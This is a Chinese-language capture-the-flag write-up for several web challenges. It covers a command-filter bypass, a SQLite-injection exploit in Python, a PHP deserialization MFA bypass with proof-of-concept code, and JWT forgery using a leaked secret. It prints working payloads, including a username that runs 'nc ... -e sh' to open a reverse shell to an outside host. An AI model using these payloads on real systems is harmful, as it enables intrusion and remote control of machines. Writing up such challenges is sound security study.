绕过检测是一门艺术

直接绕过过滤payload:

dir .
cut%09-d%091-1000%09CvvD_F14g_1s_h4rehaha.php%09

答案不在数据库里

发现是sqllite数据库!

根据sqllite数据库的特性编写exp!

exp

import requests

url = "http://5a909f09-ab93-42c7-9db9-5b98b7ab1b25.ctf.moonback.xyz:8001/"
username = '";\n.system nc 794689786 1 -e sh\n'
assert len(username) <= 32
data = {"username": username, "password": "hi"}
res = requests.post(f"{url}/login", data)
print(res.text)

SQL注入解决不了问题

index.php:

<?php

include 'class/User.php';

if (!empty($_POST))
{
// serialise POST data for easy logging
$loginAttempt = serialize((object)$_POST);

// log access
//Logger::log(Logger::SENSITIVE, 'Login attempt: ' . $loginAttempt);

// Hand over to federation login
// TODO currently just a mock up
// TODO encrypt information to avoid loos of confidentiality
header('Location: /?userdata=' . base64_encode($loginAttempt));
die();
}

if (!empty($_GET) && isset($_GET['userdata']))
{
// prepare notification data structure
$notification = new stdClass();

// check credentials & MFA
try
{
$user = new User(base64_decode($_GET['userdata']));
if ($user->verify())
{
$notification->type = 'success';
$notification->text = 'Congratulations, your flag is: ' . file_get_contents('/flag.txt');
}
else
{
throw new InvalidArgumentException('Invalid credentials or MFA token value');
}
}
catch (Exception $e)
{
$notification->type = 'danger';
$notification->text = $e->getMessage();
}
}

include 'template/home.html';

user.php

<?php

final class User
{
private $userData;

public function __construct($loginAttempt)
{
$this->userData = unserialize($loginAttempt);
if (!$this->userData)
throw new InvalidArgumentException('Unable to reconstruct user data');
}

private function verifyUsername()
{
return $this->userData->username === 'D0loresH4ze';
}

private function verifyPassword()
{
return password_verify($this->userData->password, '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq');
}

private function verifyMFA()
{
$this->userData->_correctValue = random_int(1e10, 1e11 - 1);
return (int)$this->userData->mfa === $this->userData->_correctValue;
}

public function verify()
{
if (!$this->verifyUsername())
throw new InvalidArgumentException('Invalid username');

if (!$this->verifyPassword())
throw new InvalidArgumentException('Invalid password');

if (!$this->verifyMFA())
throw new InvalidArgumentException('Invalid MFA token value');

return true;
}

}

绕过限制:

第一次检查是很容易的,设置用户名 D0loresH4ze

谷歌搜索的散列密码告诉我们 rasmuslerdorf

第三个检查是MFA绕过:

可以用

$user->mfa =& $user->_correctValue;

poc

class User
{
public $username = "D0loresH4ze";
public $password = "rasmuslerdorf";
public $mfa;
public $_correctValue;
}

$user = new User();
$user->mfa =& $user->_correctValue;

echo base64_encode(serialize($user));
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjExOiJEMGxvcmVzSDR6ZSI7czo4OiJwYXNzd29yZCI7czoxMzoicmFzbXVzbGVyZG9yZiI7czozOiJtZmEiO2k6MTtzOjEzOiJfY29ycmVjdFZhbHVlIjtSOjQ7fQ==

你需要认真观察,才能找到JWT的秘密

wp

发现有adminnames 可以下载

image-20210508143431017

image-20210508143515711

jwt

{
"username": "nqzva",
"password": "nqzva",
"admin": "snyfr",
"iat": 1593506966
}
JWT_SECRET=Th1sSECr3TMu5TN0Tb3L43KEDEv3RRRRRR!!1

数据包:

GET /admin HTTP/1.1
Host: 192.168.1.104:8004
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImVicmVidW5hIiwicGFzc3dvcmQiOiIiLCJhZG1pbiI6ImdlaHIiLCJpYXQiOjE1OTUzNDAwMDB9.m2y399u-xdRyzhpkix-stYf1SmHrXRp53Wq_I29y3mY
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: __cfduid=d10b0dd80a123d45a9dabfaadb24dbc801595326165;
Connection: close